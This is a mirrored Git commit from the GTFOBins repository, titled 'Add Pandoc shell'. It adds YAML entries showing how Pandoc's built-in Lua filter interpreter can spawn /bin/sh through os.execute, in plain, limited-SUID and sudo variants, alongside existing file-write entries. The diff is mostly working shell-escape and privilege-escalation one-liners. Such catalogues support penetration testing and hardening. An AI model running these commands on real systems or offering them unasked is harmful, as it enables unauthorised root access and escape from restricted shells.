mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Add Pandoc shell
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
e988dbb8fa
commit
a0be237bf5
@ -8,12 +8,26 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo DATA | pandoc -t plain -o "$LFILE"
|
echo DATA | pandoc -t plain -o "$LFILE"
|
||||||
|
shell:
|
||||||
|
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
|
||||||
|
code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'os.execute("/bin/sh")' >$TF
|
||||||
|
pandoc -L $TF /dev/null
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
echo DATA | ./pandoc -t plain -o "$LFILE"
|
echo DATA | ./pandoc -t plain -o "$LFILE"
|
||||||
|
limited-suid:
|
||||||
|
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
|
||||||
|
code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'os.execute("/bin/sh")' >$TF
|
||||||
|
./pandoc -L $TF /dev/null
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
|
||||||
LFILE=file_to_write
|
code: |
|
||||||
echo DATA | sudo pandoc -t plain -o "$LFILE"
|
TF=$(mktemp)
|
||||||
|
echo 'os.execute("/bin/sh")' >$TF
|
||||||
|
sudo pandoc -L $TF /dev/null
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user